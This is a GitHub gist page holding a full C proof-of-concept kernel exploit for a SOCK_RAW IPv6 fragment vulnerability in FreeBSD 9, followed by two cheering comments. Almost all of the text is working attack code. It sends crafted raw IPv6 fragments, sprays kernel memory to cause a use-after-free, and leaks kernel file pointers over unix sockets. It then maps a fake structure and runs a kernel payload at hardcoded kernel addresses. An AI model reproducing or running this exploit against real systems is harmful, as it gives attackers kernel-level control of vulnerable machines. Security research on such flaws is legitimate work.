Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@sleirsgoevy
Created March 3, 2021 13:00
Show Gist options
  • Star 13 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save sleirsgoevy/35722572b0096f9acfd76a97b5678bed to your computer and use it in GitHub Desktop.
Save sleirsgoevy/35722572b0096f9acfd76a97b5678bed to your computer and use it in GitHub Desktop.
Another FreeBSD 9 PoC of the SOCK_RAW vulnerability, using TheFlow's hint. Does not do any zone drains, thus should be more portable.
#define FD_SETSIZE 2048
#define sysctl __sysctl
#include <sys/types.h>
#include <sys/param.h>
#include <sys/cpuset.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/sysctl.h>
#include <sys/vmmeter.h>
#include <sys/filio.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <vm/vm_param.h>
#include <stdio.h>
#include <errno.h>
void send_fragment(int fd, char* src, size_t off, size_t sz, int is_final, uint32_t ident, int proto)
{
static unsigned char buf[0x10000];
// hop-by-hop header
buf[0] = 44;
buf[1] = 0;
buf[2] = 1;
buf[3] = 4;
buf[4] = buf[5] = buf[6] = buf[7] = 0x41;
// fragment header
buf[8] = proto;
buf[9] = 0;
size_t mid = off + !is_final;
buf[10] = mid / 256;
buf[11] = mid % 256;
buf[12] = ident >> 24;
buf[13] = ident >> 16;
buf[14] = ident >> 8;
buf[15] = ident;
for(size_t i = 0; i < sz; i++)
buf[16+i] = src[off+i];
struct sockaddr_in6 sin6 = {
.sin6_family = AF_INET6,
.sin6_addr = {0},
.sin6_port = 0xbeef,
};
sin6.sin6_addr.s6_addr[15] = 1;
sendto(fd, buf, 16+sz, 0, (struct sockaddr*)&sin6, sizeof(sin6));
}
void build_rthdr(char* buf, int sz)
{
buf[0] = 43;
buf[1] = sz / 8 - 1;
buf[2] = 0;
buf[3] = 0;
for(size_t i = 4; i < sz; i++)
buf[i] = 0;
}
void send_shifted_fragment(int fd, char* src, size_t off, size_t sz, int is_final, uint32_t ident, int proto)
{
static unsigned char buf[0x1000];
// hop-by-hop header
buf[0] = 43;
buf[1] = 0;
buf[2] = 1;
buf[3] = 4;
buf[4] = buf[5] = buf[6] = buf[7] = 0x41;
// padding
build_rthdr(buf+8, 224);
buf[8] = 44;
// fragment header
buf[232] = proto;
buf[233] = 0;
size_t mid = off + !is_final;
buf[234] = mid / 256;
buf[235] = mid % 256;
buf[236] = ident >> 24;
buf[237] = ident >> 16;
buf[238] = ident >> 8;
buf[239] = ident;
for(size_t i = 0; i < sz; i++)
buf[240+i] = src[off+i];
struct sockaddr_in6 sin6 = {
.sin6_family = AF_INET6,
.sin6_addr = {0},
.sin6_port = 0xbeef,
};
sin6.sin6_addr.s6_addr[15] = 1;
sendto(fd, buf, 240+sz, 0, (struct sockaddr*)&sin6, sizeof(sin6));
}
#define RTHDR_1_SZ 0x60
#define RTHDR_2_SZ 32 // >8 to prevent double-free on second mbuf
#define FIRST_FRAGMENT_SZ 0x60
#define SPRAY_SIZE 256
#define NUM_UNIX 256
void push_mbuf(int* socks, int i)
{
if(sendto(socks[i], &i, sizeof(i), 0, 0, 0) < 0)
printf("push_mbuf failed\n");
}
void push_cluster(int* socks, int i)
{
int arr[49];
arr[0] = i;
if(sendto(socks[i], arr, sizeof(arr), 0, 0, 0) < 0)
printf("push_cluster failed\n");
}
void push_big_cluster(int* socks, int i)
{
char arr[2048] = {0};
if(sendto(socks[i], arr, sizeof(arr), 0, 0, 0) < 0)
printf("push_cluster failed\n");
}
int pop_mbuf(int* socks, int i)
{
int buf[37];
buf[0] = i;
recvfrom(socks[i], buf, sizeof(buf), MSG_DONTWAIT, 0, 0);
return buf[0];
}
int peek_mbuf(int* socks, int i)
{
int ans = 1000000;
recvfrom(socks[i], &ans, sizeof(ans), MSG_DONTWAIT|MSG_PEEK, 0, 0);
return ans;
}
int create_loopback(void)
{
#if 0
int sock = socket(AF_INET6, SOCK_DGRAM, 0);
struct sockaddr_in6 sin = {
.sin6_family = AF_INET6,
.sin6_addr = {0},
.sin6_port = 0,
};
sin.sin6_addr.s6_addr[15] = 1;
#else
int sock = socket(AF_INET, SOCK_DGRAM, 0);
struct sockaddr_in sin = {
.sin_family = AF_INET,
.sin_addr = {0x100007f},
.sin_port = 0,
};
#endif
socklen_t sin_l = sizeof(sin);
bind(sock, (struct sockaddr*)&sin, sin_l);
getsockname(sock, (struct sockaddr*)&sin, &sin_l);
connect(sock, (struct sockaddr*)&sin, sin_l);
//fcntl(sock, F_SETFL, fcntl(sock, F_GETFL) | O_NONBLOCK);
return sock;
}
int get_port(int fd)
{
struct sockaddr_in6 sin;
socklen_t l = sizeof(sin);
getsockname(fd, (struct sockaddr*)&sin, &l);
return sin.sin6_port;
}
//asm("kexec:\nmov $11,%rax\nmov %rcx,%r10\nsyscall\nret");
void kexec(void*);
#define uma_reclaim ((void*)0xffffffff80a7c1c0)
int port_to_csum(int port)
{
int base_port = 0x0de6;
int base_csum = 0x36b1;
int csum = base_csum - 2 * (port - base_port);
csum += 0x1fffe;
csum %= 0xffff;
return csum;
}
void push_jumbo(int fd)
{
char buf[2048];
for(int i = 0; i < 2048; i++)
buf[i] = 0x41;
for(int i = 0; i < 31; i++)
sendto(fd, buf, sizeof(buf), 0, 0, 0);
}
void* mmap_at(void* where, size_t sz)
{
uintptr_t addr = (uintptr_t)where;
uintptr_t end = addr + sz;
addr &= ~4095ull;
if((uintptr_t)mmap((void*)addr, end - addr, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) != addr)
{
printf("failed to mmap_at!\n");
return 0;
}
//prefault pages
unsigned char* p = where;
for(size_t i = 0; i < sz; i++)
p[i] = 0;
return where;
}
ssize_t
write_fd(int fd, void *ptr, size_t nbytes, int* sendfd)
{
struct msghdr msg;
struct iovec iov[1];
union {
struct cmsghdr cm;
char control[CMSG_SPACE(32*sizeof(int))];
} control_un;
struct cmsghdr *cmptr;
msg.msg_control = control_un.control;
msg.msg_controllen = sizeof(control_un.control);
cmptr = CMSG_FIRSTHDR(&msg);
cmptr->cmsg_len = CMSG_LEN(32*sizeof(int));
cmptr->cmsg_level = SOL_SOCKET;
cmptr->cmsg_type = SCM_RIGHTS;
for(int i = 0; i < 32; i++)
((int *) CMSG_DATA(cmptr))[i] = sendfd[i];
msg.msg_name = NULL;
msg.msg_namelen = 0;
iov[0].iov_base = ptr;
iov[0].iov_len = nbytes;
msg.msg_iov = iov;
msg.msg_iovlen = 1;
return(sendmsg(fd, &msg, 0));
}
ssize_t
read_fd(int fd, void *ptr, size_t nbytes, int *recvfd)
{
struct msghdr msg;
struct iovec iov[1];
ssize_t n;
int newfd;
union {
struct cmsghdr cm;
char control[CMSG_SPACE(64*sizeof(int))];
} control_un;
struct cmsghdr *cmptr;
msg.msg_control = control_un.control;
msg.msg_controllen = sizeof(control_un.control);
msg.msg_name = NULL;
msg.msg_namelen = 0;
iov[0].iov_base = ptr;
iov[0].iov_len = nbytes;
msg.msg_iov = iov;
msg.msg_iovlen = 1;
if ( (n = recvmsg(fd, &msg, 0)) <= 0)
return(n);
if ( (cmptr = CMSG_FIRSTHDR(&msg)) != NULL &&
cmptr->cmsg_len == CMSG_LEN(32*sizeof(int))) {
for(int i = 0; i < 24; i++)
recvfd[i] = ((int *) CMSG_DATA(cmptr))[i];
} else {
for(int i = 0; i < 64; i++)
printf("%08x\n", ((int*)CMSG_DATA(cmptr))[i]);
*recvfd = -1; /* descriptor was not passed */
}
return(n);
}
int leak_fds(int fd_to_leak[32], uintptr_t out[32], int bads[3])
{
printf("starting kex...\n");
cpuset_t xxx;
CPU_ZERO(&xxx);
CPU_SET(0, &xxx);
cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_PID, getpid(), sizeof(xxx), &xxx);
int sock = socket(AF_INET6, SOCK_RAW, IPPROTO_HOPOPTS);
int socks[SPRAY_SIZE];
for(int i = 0; i < SPRAY_SIZE; i++)
socks[i] = create_loopback();
int un[2 * NUM_UNIX];
for(int i = 0; i < NUM_UNIX; i++)
socketpair(AF_UNIX, SOCK_STREAM, 0, un+2*i);
char buf[RTHDR_1_SZ + RTHDR_2_SZ];
char buf_final[4096];
for(int i = 0; i < 1024; i++)
buf_final[i] = 255;
build_rthdr(buf, RTHDR_1_SZ);
build_rthdr(buf + RTHDR_1_SZ, RTHDR_2_SZ);
nanosleep((void*)"\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 0);
send_fragment(sock, buf, 0, FIRST_FRAGMENT_SZ, 0, 0xdead0002, 43);
send_fragment(sock, buf, FIRST_FRAGMENT_SZ, sizeof(buf) - FIRST_FRAGMENT_SZ, 1, 0xdead0002, 43);
/*CPU_ZERO(&xxx);
CPU_SET(1, &xxx);
cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_PID, getpid(), sizeof(xxx), &xxx);*/
nanosleep((void*)"\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 0);
for(int i = 0; i < SPRAY_SIZE; i++)
{
push_cluster(socks, i);
nanosleep((void*)"\0\0\0\0\0\0\0\0\x80\x96\x98\0\0\0\0\0", 0);
}
nanosleep((void*)"\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 0);
int bad1 = -1, bad2 = -1;
for(int i = 0; i < SPRAY_SIZE; i++)
{
int j = peek_mbuf(socks, i);
if(i != j)
printf("%d -> %d\n", bad1 = i, bad2 = j);
}
if(bad1 < 0)
{
printf("wtf??\n");
return 1;
}
//print_mbuf_addr(socks[bad1]);
//print_mbuf_addr(socks[bad2]);
for(int i = 0; i < NUM_UNIX; i++)
push_big_cluster(un, 2*i);
pop_mbuf(socks, bad1);
for(int i = 0; i < NUM_UNIX; i++)
push_cluster(un, 2*i);
recvfrom(socks[bad2], buf_final, sizeof(buf_final), MSG_DONTWAIT|MSG_PEEK, 0, 0);
int bad3 = 1+*(int*)buf_final;
pop_mbuf(socks, bad2);
char x = 'X';
for(int i = 0; i < NUM_UNIX; i++)
if(i != (bad3 - 1) / 2)
write_fd(un[2*i], &x, 1, fd_to_leak);
for(int i = 0; i < NUM_UNIX; i++)
{
recvfrom(un[2*i+1], buf_final, sizeof(buf_final), MSG_DONTWAIT|MSG_PEEK, 0, 0);
if(*(int*)(buf_final+2048) != 2*i)
{
if(bad3 != 2*i+1)
{
printf("wtf??\n");
return 1;
}
printf("fucked up %d\n", i);
uintptr_t* leak = (uintptr_t*)(buf_final+2048);
if(leak[0] != 0xffff00000110ull || (unsigned int)leak[1] != 1)
{
printf("wtf??\n");
return 1;
}
for(int i = 0; i < 32; i++)
out[i] = leak[i+2];
}
}
for(int i = 0; i < 2*NUM_UNIX; i++)
if(i != bad3)
close(un[i]);
for(int i = 0; i < SPRAY_SIZE; i++)
if(i != bad1 && i != bad2)
close(socks[i]);
close(sock);
bads[0] = socks[bad1];
bads[1] = socks[bad2];
bads[2] = un[bad3];
return 0;
}
int trigger(int trg_fd, uintptr_t trg_addr, int bad_fds[2], int* sel_cur)
{
printf("starting kex...\n");
cpuset_t xxx;
CPU_ZERO(&xxx);
CPU_SET(0, &xxx);
cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_PID, getpid(), sizeof(xxx), &xxx);
int sock = socket(AF_INET6, SOCK_RAW, IPPROTO_HOPOPTS);
int socks[SPRAY_SIZE];
for(int i = 0; i < SPRAY_SIZE; i++)
socks[i] = create_loopback();
int un[2*NUM_UNIX];
for(int i = 0; i < NUM_UNIX; i++)
socketpair(AF_UNIX, SOCK_STREAM, 0, un+2*i);
char buf[RTHDR_1_SZ + RTHDR_2_SZ];
char buf_final[4096];
for(int i = 0; i < 1024; i++)
buf_final[i] = 255;
build_rthdr(buf, RTHDR_1_SZ);
build_rthdr(buf + RTHDR_1_SZ, RTHDR_2_SZ);
nanosleep((void*)"\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 0);
send_fragment(sock, buf, 0, FIRST_FRAGMENT_SZ, 0, 0xdead0002, 43);
send_fragment(sock, buf, FIRST_FRAGMENT_SZ, sizeof(buf) - FIRST_FRAGMENT_SZ, 1, 0xdead0002, 43);
/*CPU_ZERO(&xxx);
CPU_SET(1, &xxx);
cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_PID, getpid(), sizeof(xxx), &xxx);*/
nanosleep((void*)"\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 0);
for(int i = 0; i < SPRAY_SIZE; i++)
{
push_cluster(socks, i);
nanosleep((void*)"\0\0\0\0\0\0\0\0\x80\x96\x98\0\0\0\0\0", 0);
}
nanosleep((void*)"\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 0);
int bad1 = -1, bad2 = -1;
for(int i = 0; i < SPRAY_SIZE; i++)
{
int j = peek_mbuf(socks, i);
if(i != j)
printf("%d -> %d\n", bad1 = i, bad2 = j);
}
if(bad1 < 0)
{
printf("wtf??\n");
return 1;
}
//print_mbuf_addr(socks[bad1]);
//print_mbuf_addr(socks[bad2]);
pop_mbuf(socks, bad1);
for(int i = 0; i < NUM_UNIX; i++)
send_shifted_fragment(sock, buf, 0, FIRST_FRAGMENT_SZ, 0, 0xfee10000+i, 6);
nanosleep((void*)"\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 0);
//print_mbuf_addr(socks[bad2]);
recvfrom(socks[bad2], buf_final, sizeof(buf_final), MSG_DONTWAIT|MSG_PEEK, 0, 0);
int uaf_idx = __builtin_bswap32(*(unsigned int*)(buf_final+276));
if((uaf_idx & 0xffff0000) != 0xfee10000)
{
printf("wtf??\n");
return 1;
}
uaf_idx &= 0xffff;
//print_mbuf_addr(socks[bad2]);
pop_mbuf(socks, bad2);
int fd_to_pass[32];
for(int i = 0; i < 32; i++)
fd_to_pass[i] = trg_fd;
char x = 'X';
for(int i = 0; i < NUM_UNIX; i++)
write_fd(un[2*i], &x, 1, fd_to_pass);
for(int i = 0; i < NUM_UNIX; i++)
if(i != uaf_idx)
send_fragment(sock, buf_final, FIRST_FRAGMENT_SZ, 1, 1, 0xfee10000+i, 6);
if(1)
{
int i = uaf_idx;
int off = FIRST_FRAGMENT_SZ;
while(off + sizeof(buf_final) < 65536)
{
send_fragment(sock, buf_final - off, off, sizeof(buf_final), 0, 0xfee10000+i, 6);
off += sizeof(buf_final);
}
send_fragment(sock, buf_final - off, off, 3767, 1, 0xfee10000+i, 6);
}
nanosleep((void*)"\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 0);
fd_set ss;
FD_ZERO(&ss);
struct timeval for_select = {0, 0};
bad_fds[0] = socks[bad1];
bad_fds[1] = socks[bad2];
for(int i = 0; i < NUM_UNIX; i++)
{
bad_fds[2] = un[2*i+1];
read_fd(un[2*i+1], &x, 1, fd_to_pass);
for(int j = 0; j < 32; j++)
{
*sel_cur = fd_to_pass[j];
if(fd_to_pass[j] < 2048) // wtf if not
{
FD_SET(fd_to_pass[j], &ss);
select(fd_to_pass[j]+1, &ss, 0, 0, &for_select); //kpayload
FD_CLR(fd_to_pass[j], &ss);
}
close(fd_to_pass[j]);
}
}
for(int i = 0; i < 2*NUM_UNIX; i++)
close(un[i]);
for(int i = 0; i < SPRAY_SIZE; i++)
if(i != bad1 && i != bad2)
close(socks[i]);
close(sock);
return 0;
}
int kp_sel_cur;
int kp_bad_fds[6];
uintptr_t decref_fp;
int kp_done = 0;
int kernel_payload(void)
{
int(*printf)(const char*, ...) = (void*)0xffffffff8086bf90;
printf("Hello, kernel world!\n");
int****** td;
asm volatile("mov %%gs:0, %0":"=r"(td));
for(int i = 0; i < 6; i++)
for(int base = 72; base <= 132; base += 60) // socket->so_{rcv,snd}
{
td[1][9][0][kp_bad_fds[i]][0][base+9] = 0; // sb_cc
td[1][9][0][kp_bad_fds[i]][0][base+11] = 0; // sb_mbcnf
td[1][9][0][kp_bad_fds[i]][0][base] = 0; // sb_mb low
td[1][9][0][kp_bad_fds[i]][0][base+1] = 0; // sb_mb high
}
td[1][9][0][kp_sel_cur] = 0;
void*** zone_mbuf = (void*)0xffffffff811008a0;
zone_mbuf[0][32] = zone_mbuf[0][33] = 0; //detach buckets
--*(volatile int*)(decref_fp + 40);
kp_done = 1;
return 0;
}
int main()
{
int fd[256];
for(int i = 0; i < 256; i++)
fd[255-i] = open("/etc/passwd", O_RDONLY);
for(int i = 32; i < 256; i++)
close(fd[i]);
uintptr_t leak[32];
if(leak_fds(fd, leak, kp_bad_fds))
{
printf("leak_fds failed\n");
return 1;
}
for(int i = 0; i < 32; i++)
printf("%d %d %p\n", i, fd[i], (void*)leak[i]);
int low = -1, high = -1;
for(int i = 0; i < 32 && low < 0; i++)
if((leak[i] & 255) == 0xd0)
for(int j = 0; j < 32 && low < 0; j++)
if(leak[j] == leak[i] + 0x50)
{
low = i;
high = j;
}
if(low < 0)
{
printf("wtf??\n");
return 0;
}
printf("%d %d\n", low, high);
printf("%llx\n", (long long)lseek(fd[low], 0x2eadbeef, SEEK_SET));
void** dead = mmap((void*)0x2eadbeef0000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
dead[4] = kernel_payload;
decref_fp = leak[high];
if(trigger(fd[high], leak[low] + 0x36, kp_bad_fds+3, &kp_sel_cur))
{
printf("trigger failed\n");
return 1;
}
if(!kp_done)
{
printf("wtf??\n");
return 1;
}
printf("exploit done\n");
return 0;
}
@mohammad-re2004
Copy link

mohammad-re2004 commented Mar 4, 2021

We believe in you more than anyone else. Go ahead and do it 👏👏💣

@DADDY-XEP
Copy link

More power to you bro!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment